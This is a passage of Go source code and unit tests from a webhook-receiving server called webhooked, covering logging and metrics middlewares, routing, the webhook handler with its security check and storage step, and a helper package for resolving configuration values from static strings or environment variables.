prioritized 114 | // over the field TemplatePath when both are defined. 115 | type FormattingSpec struct { 116 | // TemplatePath is the path to the template used to formatting the payload 117 | TemplatePath string `mapstructure:"templatePath"` 118 | // TemplateString is a plaintext template used to formatting the payload 119 | TemplateString string `mapstructure:"templateString"` 120 | // ResolvedTemplate is the template after resolving the template variables 121 | // It is defined by the configuration loader and cannot be overridden 122 | Template string `mapstructure:"-"` 123 | } 124 | -------------------------------------------------------------------------------- /internal/server/middlewares.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | "regexp" 7 | "strconv" 8 | "time" 9 | 10 | "github.com/prometheus/client_golang/prometheus" 11 | "github.com/prometheus/client_golang/prometheus/promauto" 12 | "github.com/rs/zerolog/log" 13 | 14 | "atomys.codes/webhooked/internal/config" 15 | ) 16 | 17 | //statusRecorder to record the status code from the ResponseWriter 18 | type statusRecorder struct { 19 | http.ResponseWriter 20 | statusCode int 21 | } 22 | 23 | var ( 24 | // versionAndEndpointRegexp is a regexp to extract the version and endpoint from the given path 25 | versionAndEndpointRegexp = regexp.MustCompile(`(?m)/(?Pv[0-9a-z]+)(?P/.+)`) 26 | // responseTimeHistogram is a histogram of response times 27 | // used to export the response time to Prometheus 28 | responseTimeHistogram *prometheus.HistogramVec = promauto. 29 | NewHistogramVec(prometheus.HistogramOpts{ 30 | Namespace: "webhooked", 31 | Name: "http_server_request_duration_seconds", 32 | Help: "Histogram of response time for handler in seconds", 33 | }, []string{"method", "status_code", "version", "spec", "secure"}) 34 | ) 35 | 36 | // WriteHeader sets the status code for the response 37 | func (rec *statusRecorder) WriteHeader(statusCode int) { 38 | rec.statusCode = statusCode 39 | rec.ResponseWriter.WriteHeader(statusCode) 40 | } 41 | 42 | // prometheusMiddleware is a middleware that records the response time and 43 | // exports it to Prometheus metrics for the given request 44 | // Example: 45 | // webhooked_http_server_request_duration_seconds_count{method="POST",secure="false",spec="exampleHook",status_code="200",version="v1alpha1"} 1 46 | func prometheusMiddleware(next http.Handler) http.Handler { 47 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 48 | start := time.Now() 49 | rec := statusRecorder{w, 200} 50 | 51 | next.ServeHTTP(&rec, r) 52 | 53 | pp := getVersionAndEndpoint(r.URL.Path) 54 | spec, err := config.Current().GetSpecByEndpoint(pp["endpoint"]) 55 | if err != nil { 56 | return 57 | } 58 | 59 | duration := time.Since(start) 60 | statusCode := strconv.Itoa(rec.statusCode) 61 | responseTimeHistogram.WithLabelValues(r.Method, statusCode, pp["version"], spec.Name, fmt.Sprintf("%t", spec.HasSecurity())).Observe(duration.Seconds()) 62 | }) 63 | } 64 | 65 | // loggingMiddleware is a middleware that logs the request and response 66 | // Example: 67 | // INF Webhook is processed duration="586µs" secure=false spec=exampleHook statusCode=200 version=v1alpha1 68 | func loggingMiddleware(next http.Handler) http.Handler { 69 | return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 70 | start := time.Now() 71 | rec := statusRecorder{w, 200} 72 | 73 | next.ServeHTTP(&rec, r) 74 | 75 | var logEvent = log.Info(). 76 | Str("duration", time.Since(start).String()). 77 | Int("statusCode", rec.statusCode) 78 | 79 | pp := getVersionAndEndpoint(r.URL.Path) 80 | spec, _ := config.Current().GetSpecByEndpoint(pp["endpoint"]) 81 | if spec != nil { 82 | logEvent.Str("version", pp["version"]).Str("spec", spec.Name).Bool("secure", spec.HasSecurity()).Msgf("Webhook is processed") 83 | } 84 | }) 85 | } 86 | 87 | // getVersionAndEndpoint returns the version and endpoint from the given path 88 | // Example: /v0/webhooks/example 89 | // Returns: {"version": "v0", "endpoint": "/webhooks/example"} 90 | func getVersionAndEndpoint(path string) map[string]string { 91 | match := versionAndEndpointRegexp.FindStringSubmatch(path) 92 | result := make(map[string]string) 93 | for i, name := range versionAndEndpointRegexp.SubexpNames() { 94 | if i != 0 && i <= len(match) && name != "" { 95 | result[name] = match[i] 96 | } 97 | } 98 | 99 | return result 100 | } 101 | -------------------------------------------------------------------------------- /internal/server/middlewares_test.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "net/http" 5 | "net/http/httptest" 6 | "testing" 7 | 8 | "github.com/prometheus/client_golang/prometheus/testutil" 9 | "github.com/stretchr/testify/suite" 10 | 11 | "atomys.codes/webhooked/internal/config" 12 | ) 13 | 14 | func init() { 15 | if err := config.Load("../../tests/webhooks.tests.yaml"); err != nil { 16 | panic(err) 17 | } 18 | } 19 | 20 | type testSuiteMiddlewares struct { 21 | suite.Suite 22 | httpHandler http.Handler 23 | } 24 | 25 | func (suite *testSuiteMiddlewares) BeforeTest(suiteName, testName string) { 26 | suite.httpHandler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 27 | w.WriteHeader(http.StatusAccepted) 28 | }) 29 | } 30 | 31 | func TestLoggingMiddleware(t *testing.T) { 32 | suite.Run(t, new(testSuiteMiddlewares)) 33 | } 34 | 35 | func (suite *testSuiteMiddlewares) TestLogging() { 36 | handler := loggingMiddleware(suite.httpHandler) 37 | 38 | req := httptest.NewRequest(http.MethodGet, "/v0/webhooks/example", nil) 39 | w := httptest.NewRecorder() 40 | 41 | handler.ServeHTTP(w, req) 42 | 43 | suite.Equal(http.StatusAccepted, w.Code) 44 | } 45 | 46 | func (suite *testSuiteMiddlewares) TestPrometheus() { 47 | handler := prometheusMiddleware(suite.httpHandler) 48 | 49 | req := httptest.NewRequest(http.MethodGet, "/v0/webhooks/example", nil) 50 | w := httptest.NewRecorder() 51 | 52 | handler.ServeHTTP(w, req) 53 | 54 | suite.Equal(http.StatusAccepted, w.Code) 55 | suite.Equal(1, testutil.CollectAndCount(responseTimeHistogram)) 56 | } 57 | -------------------------------------------------------------------------------- /internal/server/serve.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | 7 | "github.com/gorilla/mux" 8 | "github.com/prometheus/client_golang/prometheus/promhttp" 9 | "github.com/rs/zerolog/log" 10 | 11 | "atomys.codes/webhooked/internal/config" 12 | v1alpha1 "atomys.codes/webhooked/internal/server/v1alpha1" 13 | ) 14 | 15 | // APIVersion is the interface for all supported API versions 16 | // that can be served by the webhooked server 17 | type APIVersion interface { 18 | Version() string 19 | WebhookHandler() http.HandlerFunc 20 | } 21 | 22 | type Server struct { 23 | *http.Server 24 | } 25 | 26 | var ( 27 | // apiVersions is a list of supported API versions by the server 28 | apiVersions = []APIVersion{ 29 | v1alpha1.NewServer(), 30 | } 31 | ) 32 | 33 | // NewServer create a new server instance with the given port 34 | func NewServer(port int) (*Server, error) { 35 | if !validPort(port) { 36 | return nil, fmt.Errorf("invalid port") 37 | } 38 | 39 | return &Server{ 40 | Server: &http.Server{ 41 | Addr: fmt.Sprintf(":%d", port), 42 | Handler: nil, 43 | }, 44 | }, nil 45 | } 46 | 47 | // Serve the proxy server on the given port for all supported API versions 48 | func (s *Server) Serve() error { 49 | router := newRouter() 50 | router.Use(loggingMiddleware) 51 | 52 | if config.Current().Observability.MetricsEnabled { 53 | router.Use(prometheusMiddleware) 54 | router.Handle("/metrics", promhttp.Handler()).Name("metrics") 55 | } 56 | 57 | s.Handler = router 58 | log.Info().Msgf("Listening on %s", s.Addr) 59 | return s.ListenAndServe() 60 | } 61 | 62 | // newRouter returns a new router with all the routes 63 | // for all supported API versions 64 | func newRouter() *mux.Router { 65 | var api = mux.NewRouter() 66 | for _, version := range apiVersions { 67 | api.Methods("POST").PathPrefix("/" + version.Version()).Handler(version.WebhookHandler()).Name(version.Version()) 68 | } 69 | 70 | api.NotFoundHandler = http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 71 | w.WriteHeader(http.StatusNotFound) 72 | }) 73 | 74 | return api 75 | } 76 | 77 | // validPort returns true if the port is valid 78 | // following the RFC https://datatracker.ietf.org/doc/html/rfc6056#section-2.1 79 | func validPort(port int) bool { 80 | return port > 0 && port < 65535 81 | } 82 | -------------------------------------------------------------------------------- /internal/server/serve_test.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "context" 5 | "net/http" 6 | "testing" 7 | 8 | "github.com/stretchr/testify/assert" 9 | ) 10 | 11 | func Test_NewServer(t *testing.T) { 12 | srv, err := NewServer(8080) 13 | assert.NoError(t, err) 14 | assert.NotNil(t, srv) 15 | 16 | srv, err = NewServer(0) 17 | assert.Error(t, err) 18 | assert.Nil(t, srv) 19 | } 20 | 21 | func Test_Serve(t *testing.T) { 22 | srv, err := NewServer(38081) 23 | assert.NoError(t, err) 24 | 25 | var chanExit = make(chan struct{}) 26 | var chanError = make(chan error) 27 | 28 | srv.RegisterOnShutdown(func() { 29 | <-chanExit 30 | }) 31 | 32 | go func() { 33 | assert.NoError(t, srv.Shutdown(context.Background())) 34 | }() 35 | 36 | go func() { 37 | chanError <- srv.Serve() 38 | }() 39 | 40 | chanExit <- struct{}{} 41 | assert.ErrorIs(t, <-chanError, http.ErrServerClosed) 42 | } 43 | 44 | func Test_validPort(t *testing.T) { 45 | assert := assert.New(t) 46 | 47 | var tests = []struct { 48 | input int 49 | expected bool 50 | }{ 51 | {8080, true}, 52 | {1, true}, 53 | {0, false}, 54 | {-8080, false}, 55 | {65535, false}, 56 | {65536, false}, 57 | } 58 | 59 | for _, test := range tests { 60 | assert.Equal(validPort(test.input), test.expected, "input: %d", test.input) 61 | } 62 | 63 | } 64 | 65 | func Test_newRouter(t *testing.T) { 66 | router := newRouter() 67 | assert.NotNil(t, router.NotFoundHandler) 68 | } 69 | -------------------------------------------------------------------------------- /internal/server/v1alpha1/handlers.go: -------------------------------------------------------------------------------- 1 | package server 2 | 3 | import ( 4 | "errors" 5 | "io" 6 | "net/http" 7 | "os" 8 | "strings" 9 | 10 | "github.com/rs/zerolog" 11 | "github.com/rs/zerolog/log" 12 | 13 | "atomys.codes/webhooked/internal/config" 14 | "atomys.codes/webhooked/pkg/formatting" 15 | ) 16 | 17 | // Server is the server instance for the v1alpha1 version 18 | // it will be used to handle the webhook call and store the data 19 | // on the configured storages for the current spec 20 | type Server struct { 21 | // config is the current configuration of the server 22 | config *config.Configuration 23 | // webhookService is the function that will be called to process the webhook 24 | webhookService func(s *Server, spec *config.WebhookSpec, r *http.Request) (string, error) 25 | // logger is the logger used by the server 26 | logger zerolog.Logger 27 | } 28 | 29 | // errSecurityFailed is returned when security check failed for a webhook call 30 | var errSecurityFailed = errors.New("security check failed") 31 | 32 | // errRequestBodyMissing is returned when the request body is missing 33 | var errRequestBodyMissing = errors.New("request body is missing") 34 | 35 | // NewServer creates a new server instance for the v1alpha1 version 36 | func NewServer() *Server { 37 | var s = &Server{ 38 | config: config.Current(), 39 | webhookService: webhookService, 40 | } 41 | 42 | s.logger = log.With().Str("apiVersion", s.Version()).Logger().Output(zerolog.ConsoleWriter{Out: os.Stderr}) 43 | return s 44 | } 45 | 46 | // Version returns the current version of the API 47 | func (s *Server) Version() string { 48 | return "v1alpha1" 49 | } 50 | 51 | // WebhookHandler is the handler who will process the webhook call 52 | // it will call the webhook service function with the current configuration 53 | // and the request object. If an error is returned, it will be returned to the client 54 | // otherwise, it will return a 200 OK response 55 | func (s *Server) WebhookHandler() http.HandlerFunc { 56 | return func(w http.ResponseWriter, r *http.Request) { 57 | if s.config.APIVersion != s.Version() { 58 | s.logger.Error().Msgf("Configuration %s don't match with the API version %s", s.config.APIVersion, s.Version()) 59 | w.WriteHeader(http.StatusBadRequest) 60 | return 61 | } 62 | 63 | endpoint := strings.ReplaceAll(r.URL.Path, "/"+s.Version(), "") 64 | spec, err := s.config.GetSpecByEndpoint(endpoint) 65 | if err != nil { 66 | log.Warn().Err(err).Msgf("No spec found for %s endpoint", endpoint) 67 | w.WriteHeader(http.StatusNotFound) 68 | return 69 | } 70 | 71 | responseBody, err := s.webhookService(s, spec, r) 72 | if err != nil { 73 | switch err { 74 | case errSecurityFailed: 75 | w.WriteHeader(http.StatusForbidden) 76 | return 77 | default: 78 | s.logger.Error().Err(err).Msg("Error during webhook processing") 79 | w.WriteHeader(http.StatusInternalServerError) 80 | return 81 | } 82 | } 83 | 84 | if responseBody != "" { 85 | log.Debug().Str("response", responseBody).Msg("Webhook response") 86 | if _, err := w.Write([]byte(responseBody)); err != nil { 87 | s.logger.Error().Err(err).Msg("Error during response writing") 88 | } 89 | } 90 | 91 | if spec.Response.HttpCode != 0 { 92 | w.WriteHeader(spec.Response.HttpCode) 93 | } 94 | 95 | if spec.Response.ContentType != "" { 96 | w.Header().Set("Content-Type", spec.Response.ContentType) 97 | } 98 | 99 | s.logger.Debug().Str("entry", spec.Name).Msg("Webhook processed successfully") 100 | } 101 | } 102 | 103 | // webhookService is the function that will be called to process the webhook call 104 | // it will call the security pipeline if configured and store data on each configured 105 | // storages 106 | func webhookService(s *Server, spec *config.WebhookSpec, r *http.Request) (responseTemplare string, err error) { 107 | ctx := r.Context() 108 | 109 | if spec == nil { 110 | return "", config.ErrSpecNotFound 111 | } 112 | 113 | if r.Body == nil { 114 | return "", errRequestBodyMissing 115 | } 116 | defer r.Body.Close() 117 | 118 | data, err := io.ReadAll(r.Body) 119 | if err != nil { 120 | return "", err 121 | } 122 | 123 | if spec.HasSecurity() { 124 | if err := s.runSecurity(spec, r, data); err != nil { 125 | return "", err 126 | } 127 | } 128 | 129 | previousPayload := data 130 | payloadFormatter := formatting.New(). 131 | WithRequest(r). 132 | WithPayload(data). 133 | WithData("Spec", spec). 134 | WithData("Config", config.Current()) 135 | 136 | for _, storage := range spec.Storage { 137 | storageFormatter := *payloadFormatter.WithData("Storage", storage) 138 | 139 | storagePayload, err := storageFormatter.WithTemplate(storage.Formatting.Template).Render() 140 | if err != nil { 141 | return "", err 142 | } 143 | 144 | // update the formatter with the rendered payload of storage formatting 145 | // this will allow to chain formatting 146 | storageFormatter.WithData("PreviousPayload", previousPayload) 147 | ctx = formatting.ToContext(ctx, &storageFormatter) 148 | 149 | log.Debug().Msgf("store following data: %s", storagePayload) 150 | if err := storage.Client.Push(ctx, []byte(storagePayload)); err != nil { 151 | return "", err 152 | } 153 | log.Debug().Str("storage", storage.Client.Name()).Msgf("stored successfully") 154 | } 155 | 156 | if spec.Response.Formatting != nil && spec.Response.Formatting.Template != "" { 157 | return payloadFormatter.WithTemplate(spec.Response.Formatting.Template).Render() 158 | } 159 | 160 | return "", err 161 | } 162 | 163 | // runSecurity will run the security pipeline for the current webhook call 164 | // it will check if the request is authorized by the security configuration of 165 | // the current spec, if the request is not authorized, it will return an error 166 | func (s *Server) runSecurity(spec *config.WebhookSpec, r *http.Request, body []byte) error { 167 | if spec == nil { 168 | return config.ErrSpecNotFound 169 | } 170 | 171 | if spec.SecurityPipeline == nil { 172 | return errors.New("no pipeline to run. security is not configured") 173 | } 174 | 175 | pipeline := spec.SecurityPipeline.DeepCopy() 176 | pipeline. 177 | WithInput("request", r). 178 | WithInput("payload", string(body)). 179 | WantResult(true). 180 | Run() 181 | 182 | log.Debug().Msgf("security pipeline result: %t", pipeline.CheckResult()) 183 | if !pipeline.CheckResult() { 184 | return errSecurityFailed 185 | } 186 | return nil 187 | } 188 | -------------------------------------------------------------------------------- /internal/valuable/mapstructure_decode.go: -------------------------------------------------------------------------------- 1 | package valuable 2 | 3 | import ( 4 | "reflect" 5 | 6 | "github.com/mitchellh/mapstructure" 7 | ) 8 | 9 | // Decode decodes the given data into the given result. 10 | // In case of the target Type if a Valuable, we serialize it with 11 | // `SerializeValuable` func. 12 | // @param input is the data to decode 13 | // @param output is the result of the decoding 14 | // @return an error if the decoding failed 15 | func Decode(input, output interface{}) (err error) { 16 | var decoder *mapstructure.Decoder 17 | 18 | decoder, err = mapstructure.NewDecoder(&mapstructure.DecoderConfig{ 19 | Result: output, 20 | DecodeHook: valuableDecodeHook, 21 | }) 22 | if err != nil { 23 | return err 24 | } 25 | 26 | return decoder.Decode(input) 27 | } 28 | 29 | // valuableDecodeHook is a mapstructure.DecodeHook that serializes 30 | // the given data into a Valuable. 31 | func valuableDecodeHook(f reflect.Type, t reflect.Type, data interface{}) (interface{}, error) { 32 | if t != reflect.TypeOf(Valuable{}) { 33 | return data, nil 34 | } 35 | 36 | return SerializeValuable(data) 37 | } 38 | -------------------------------------------------------------------------------- /internal/valuable/mapstructure_decode_test.go: -------------------------------------------------------------------------------- 1 | package valuable 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | "github.com/stretchr/testify/suite" 9 | ) 10 | 11 | type TestSuiteValuableDecode struct { 12 | suite.Suite 13 | 14 | testValue, testValueCommaSeparated string 15 | testValues []string 16 | } 17 | 18 | func (suite *TestSuiteValuableDecode) BeforeTest(suiteName, testName string) { 19 | suite.testValue = "testValue" 20 | suite.testValues = []string{"testValue1", "testValue2"} 21 | suite.testValueCommaSeparated = "testValue3,testValue4" 22 | } 23 | 24 | func (suite *TestSuiteValuableDecode) TestDecodeInvalidOutput() { 25 | assert := assert.New(suite.T()) 26 | 27 | err := Decode(map[string]interface{}{"value": suite.testValue}, nil) 28 | assert.Error(err) 29 | } 30 | 31 | func (suite *TestSuiteValuableDecode) TestDecodeString() { 32 | assert := assert.New(suite.T()) 33 | 34 | type strukt struct { 35 | Value string `mapstructure:"value"` 36 | } 37 | 38 | output := strukt{} 39 | err := Decode(map[string]interface{}{"value": suite.testValue}, &output) 40 | assert.NoError(err) 41 | assert.Equal(suite.testValue, output.Value) 42 | } 43 | 44 | func (suite *TestSuiteValuableDecode) TestDecodeValuableRootString() { 45 | assert := assert.New(suite.T()) 46 | 47 | type strukt struct { 48 | Value Valuable `mapstructure:"value"` 49 | } 50 | 51 | output := strukt{} 52 | err := Decode(map[string]interface{}{"value": suite.testValue}, &output) 53 | assert.NoError(err) 54 | assert.Equal(suite.testValue, output.Value.First()) 55 | } 56 | 57 | func (suite *TestSuiteValuableDecode) TestDecodeValuableRootBool() { 58 | assert := assert.New(suite.T()) 59 | 60 | type strukt struct { 61 | Value Valuable `mapstructure:"value"` 62 | } 63 | 64 | output := strukt{} 65 | err := Decode(map[string]interface{}{"value": true}, &output) 66 | assert.NoError(err) 67 | assert.Equal("true", output.Value.First()) 68 | } 69 | 70 | func (suite *TestSuiteValuableDecode) TestDecodeValuableValue() { 71 | assert := assert.New(suite.T()) 72 | 73 | type strukt struct { 74 | Value Valuable `mapstructure:"value"` 75 | } 76 | 77 | output := strukt{} 78 | err := Decode(map[string]interface{}{"value": map[string]interface{}{"value": suite.testValue}}, &output) 79 | assert.NoError(err) 80 | assert.Equal(suite.testValue, output.Value.First()) 81 | } 82 | 83 | func (suite *TestSuiteValuableDecode) TestDecodeValuableValues() { 84 | assert := assert.New(suite.T()) 85 | 86 | type strukt struct { 87 | Value Valuable `mapstructure:"value"` 88 | } 89 | 90 | output := strukt{} 91 | err := Decode(map[string]interface{}{"value": map[string]interface{}{"values": suite.testValues}}, &output) 92 | assert.NoError(err) 93 | assert.Equal(suite.testValues, output.Value.Get()) 94 | } 95 | 96 | func (suite *TestSuiteValuableDecode) TestDecodeValuableStaticValuesWithComma() { 97 | assert := assert.New(suite.T()) 98 | 99 | type strukt struct { 100 | Value Valuable `mapstructure:"value"` 101 | } 102 | 103 | output := strukt{} 104 | err := Decode(map[string]interface{}{"value": map[string]interface{}{"valueFrom": map[string]interface{}{"staticRef": suite.testValueCommaSeparated}}}, &output) 105 | assert.NoError(err) 106 | assert.Equal(strings.Split(suite.testValueCommaSeparated, ","), output.Value.Get()) 107 | } 108 | 109 | func TestRunSuiteValuableDecode(t *testing.T) { 110 | suite.Run(t, new(TestSuiteValuableDecode)) 111 | } 112 | -------------------------------------------------------------------------------- /internal/valuable/valuable.go: -------------------------------------------------------------------------------- 1 | package valuable 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "reflect" 7 | "strings" 8 | 9 | "github.com/mitchellh/mapstructure" 10 | ) 11 | 12 | // Valuable represent value who it is possible to retrieve the data 13 | // in multiple ways. From a simple value without nesting, 14 | // or from a deep data source. 15 | type Valuable struct { 16 | // Value represents the `value` field of a configuration entry that 17 | // contains only one value 18 | Value *string `json:"value,omitempty"` 19 | // Values represents the `value` field of a configuration entry that 20 | // contains multiple values stored in a list 21 | Values []string `json:"values,omitempty"` 22 | // ValueFrom represents the `valueFrom` field of a configuration entry 23 | // that contains a reference to a data source 24 | ValueFrom *ValueFromSource `json:"valueFrom,omitempty"` 25 | } 26 | 27 | // ValueFromSource represents the `valueFrom` field of a configuration entry 28 | // that contains a reference to a data source (file, env, etc.) 29 | type ValueFromSource struct { 30 | // StaticRef represents the `staticRef` field of a configuration entry 31 | // that contains a static value. Can contain a comma separated list 32 | StaticRef *string `json:"staticRef,omitempty"` 33 | // EnvRef represents the `envRef` field of a configuration entry 34 | // that contains a reference to an environment variable 35 | EnvRef *string `json:"envRef,omitempty"` 36 | } 37 | 38 | // Validate validates the Valuable object and returns an error if any 39 | // validation fails. In case of envRef, the env variable must exist. 40 | func (v *Valuable) Validate() error { 41 | if v.ValueFrom != nil && v.ValueFrom.EnvRef != nil { 42 | if _, ok := os.LookupEnv(*v.ValueFrom.EnvRef); !ok { 43 | return fmt.Errorf("environment variable %s not found", *v.ValueFrom.EnvRef) 44 | } 45 | } 46 | 47 | return nil 48 | } 49 | 50 | // SerializeValuable serialize anything to a Valuable 51 | // @param data is the data to serialize 52 | // @return the serialized Valuable 53 | func SerializeValuable(data interface{}) (*Valuable, error) { 54 | var v *Valuable = &Valuable{} 55 | switch t := data.(type) { 56 | case string: 57 | v.Value = &t 58 | case int, float32, float64, bool: 59 | str := fmt.Sprint(t) 60 | v.Value = &str 61 | case nil: 62 | return &Valuable{}, nil 63 | case map[interface{}]interface{}: 64 | var val *Valuable 65 | if err := mapstructure.Decode(data, &val); err != nil { 66 | return nil, err 67 | } 68 | v = val 69 | default: 70 | valuable := Valuable{} 71 | if err := mapstructure.Decode(data, &valuable); err != nil { 72 | return nil, fmt.Errorf("unimplemented valuable type %s", reflect.TypeOf(data).String()) 73 | } 74 | v = &valuable 75 | } 76 | 77 | if err := v.Validate(); err != nil { 78 | return nil, err 79 | } 80 | 81 | return v, nil 82 | } 83 | 84 | // Get returns all values of the Valuable as a slice 85 | // @return the slice of values 86 | func (v *Valuable) Get() []string { 87 | var computedValues []string 88 | 89 | computedValues = append(computedValues, v.Values...) 90 | 91 | if v.Value != nil && !contains(computedValues, *v.Value) { 92 | computedValues = append(computedValues, *v.Value) 93 | } 94 | 95 | if v.ValueFrom == nil { 96 | return computedValues 97 | } 98 | 99 | if v.ValueFrom.StaticRef != nil && !contains(computedValues, *v.ValueFrom.StaticRef) { 100 | computedValues = appendCommaListIfAbsent(computedValues, *v.ValueFrom.StaticRef) 101 | } 102 | 103 | if v.ValueFrom.EnvRef != nil { 104 | computedValues = appendCommaListIfAbsent(computedValues, os.Getenv(*v.ValueFrom.EnvRef)) 105 | } 106 | 107 | return computedValues 108 | } 109 | 110 | // First returns the first value of the Valuable possible values 111 | // as a string. The order of preference is: 112 | // - Values 113 | // - Value 114 | // - ValueFrom.StaticRef 115 | // - ValueFrom.EnvRef 116 | // @return the first value 117 | func (v *Valuable) First() string { 118 | if len(v.Get()) == 0 { 119 | return "" 120 | } 121 | 122 | return v.Get()[0] 123 | } 124 | 125 | // String returns the string representation of the Valuable object 126 | // following the order listed on the First() function 127 | func (v Valuable) String() string { 128 | return v.First() 129 | } 130 | 131 | // Contains returns true if the Valuable contains the given value 132 | // @param value is the value to check 133 | // @return true if the Valuable contains the given value 134 | func (v *Valuable) Contains(element string) bool { 135 | for _, s := range v.Get() { 136 | if s == element { 137 | return true 138 | } 139 | } 140 | return false 141 | } 142 | 143 | // contains returns true if the Valuable contains the given value. 144 | // This function is private to prevent stack overflow during the initialization 145 | // of the Valuable object. 146 | // @param 147 | // @param value is the value to check 148 | // @return true if the Valuable contains the given value 149 | func contains(slice []string, element string) bool { 150 | for _, s := range slice { 151 | if s == element { 152 | return true 153 | } 154 | } 155 | return false 156 | } 157 | 158 | // appendCommaListIfAbsent accept a string list separated with commas to append 159 | // to the Values all elements of this list only if element is absent 160 | // of the Values 161 | func appendCommaListIfAbsent(slice []string, commaList string) []string { 162 | for _, s := range strings.Split(commaList, ",") { 163 | if contains(slice, s) { 164 | continue 165 | } 166 | 167 | slice = append(slice, s) 168 | } 169 | return slice 170 | } 171 | -------------------------------------------------------------------------------- /internal/valuable/valuable_test.go: -------------------------------------------------------------------------------- 1 | package valuable 2 | 3 | import ( 4 | "os" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | "github.com/stretchr/testify/suite" 9 | ) 10 | 11 | type TestSuiteValuable struct { 12 | suite.Suite 13 | 14 | testValue string 15 | testValues []string 16 | testEnvName string 17 | testInvalidEnvName string 18 | } 19 | 20 | func (suite *TestSuiteValuable) BeforeTest(suiteName, testName string) { 21 | suite.testValue = "test" 22 | suite.testValues = []string{"test1", "test2"} 23 | suite.testEnvName = "TEST_WEBHOOKED_CONFIG_ENVREF" 24 | suite.testInvalidEnvName = "TEST_WEBHOOKED_CONFIG_ENVREF_INVALID" 25 | os.Setenv(suite.testEnvName, suite.testValue) 26 | } 27 | 28 | func (suite *TestSuiteValuable) TestValidate() { 29 | assert := assert.New(suite.T()) 30 | 31 | tests := []struct { 32 | name string 33 | input *Valuable 34 | wantErr bool 35 | }{ 36 | {"a basic value", &Valuable{Value: &suite.testValue}, false}, 37 | {"a basic list of values", &Valuable{Values: suite.testValues}, false}, 38 | {"a basic value with a basic list", &Valuable{Value: &suite.testValue, Values: suite.testValues}, false}, 39 | {"an empty valueFrom", &Valuable{ValueFrom: &ValueFromSource{}}, false}, 40 | {"an environment ref with invalid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testInvalidEnvName}}, true}, 41 | {"an environment ref with valid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testEnvName}}, false}, 42 | } 43 | 44 | for _, test := range tests { 45 | err := test.input.Validate() 46 | if test.wantErr && assert.Error(err, "this test must be crash %s", err) { 47 | } else { 48 | assert.NoError(err, "cannot validate test %s", test.name) 49 | } 50 | } 51 | } 52 | 53 | func (suite *TestSuiteValuable) TestSerializeValuable() { 54 | assert := assert.New(suite.T()) 55 | 56 | tests := []struct { 57 | name string 58 | input interface{} 59 | output []string 60 | wantErr bool 61 | }{ 62 | {"string value", suite.testValue, []string{suite.testValue}, false}, 63 | {"int value", 1, []string{"1"}, false}, 64 | {"float value", 1.42, []string{"1.42"}, false}, 65 | {"boolean value", true, []string{"true"}, false}, 66 | {"map[interface{}]interface{} value", map[interface{}]interface{}{"value": "test"}, []string{"test"}, false}, 67 | {"map[interface{}]interface{} with error", map[interface{}]interface{}{"value": func() {}}, []string{}, true}, 68 | {"nil value", nil, []string{}, false}, 69 | {"simple value map interface", map[string]interface{}{ 70 | "value": suite.testValue, 71 | }, []string{suite.testValue}, false}, 72 | {"complexe value from envRef map interface", map[string]interface{}{ 73 | "valueFrom": map[string]interface{}{ 74 | "envRef": suite.testEnvName, 75 | }, 76 | }, []string{suite.testValue}, false}, 77 | {"invalid payload", map[string]interface{}{ 78 | "valueFrom": map[string]interface{}{ 79 | "envRef": func() {}, 80 | }, 81 | }, []string{suite.testValue}, true}, 82 | } 83 | 84 | for _, test := range tests { 85 | v, err := SerializeValuable(test.input) 86 | if test.wantErr && assert.Error(err, "this test must be crash %s", err) { 87 | } else if assert.NoError(err, "cannot serialize test %s", test.name) { 88 | assert.ElementsMatch(v.Get(), test.output, test.name) 89 | } 90 | } 91 | } 92 | 93 | func (suite *TestSuiteValuable) TestValuableGet() { 94 | assert := assert.New(suite.T()) 95 | 96 | tests := []struct { 97 | name string 98 | input *Valuable 99 | output []string 100 | }{ 101 | {"a basic value", &Valuable{Value: &suite.testValue}, []string{suite.testValue}}, 102 | {"a basic list of values", &Valuable{Values: suite.testValues}, suite.testValues}, 103 | {"a basic value with a basic list", &Valuable{Value: &suite.testValue, Values: suite.testValues}, append(suite.testValues, suite.testValue)}, 104 | {"an empty valueFrom", &Valuable{ValueFrom: &ValueFromSource{}}, []string{}}, 105 | {"an environment ref with invalid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testInvalidEnvName}}, []string{""}}, 106 | {"an environment ref with valid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testEnvName}}, []string{suite.testValue}}, 107 | {"a static ref", &Valuable{ValueFrom: &ValueFromSource{StaticRef: &suite.testValue}}, []string{suite.testValue}}, 108 | } 109 | 110 | for _, test := range tests { 111 | assert.ElementsMatch(test.input.Get(), test.output, test.name) 112 | } 113 | } 114 | 115 | func (suite *TestSuiteValuable) TestValuableFirstandString() { 116 | assert := assert.New(suite.T()) 117 | 118 | tests := []struct { 119 | name string 120 | input *Valuable 121 | output string 122 | }{ 123 | {"a basic value", &Valuable{Value: &suite.testValue}, suite.testValue}, 124 | {"a basic list of values", &Valuable{Values: suite.testValues}, suite.testValues[0]}, 125 | {"a basic value with a basic list", &Valuable{Value: &suite.testValue, Values: suite.testValues}, suite.testValues[0]}, 126 | {"an empty valueFrom", &Valuable{ValueFrom: &ValueFromSource{}}, ""}, 127 | {"an environment ref with invalid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testInvalidEnvName}}, ""}, 128 | {"an environment ref with valid name", &Valuable{ValueFrom: &ValueFromSource{EnvRef: &suite.testEnvName}}, suite.testValue}, 129 | {"a static ref", &Valuable{ValueFrom: &ValueFromSource{StaticRef: &suite.testValue}}, suite.testValue}, 130 | } 131 | 132 | for _, test := range tests { 133 | assert.Equal(test.input.First(), test.output, test.name) 134 | assert.Equal(test.input.String(), test.output, test.name) 135 | } 136 | } 137 | 138 | func 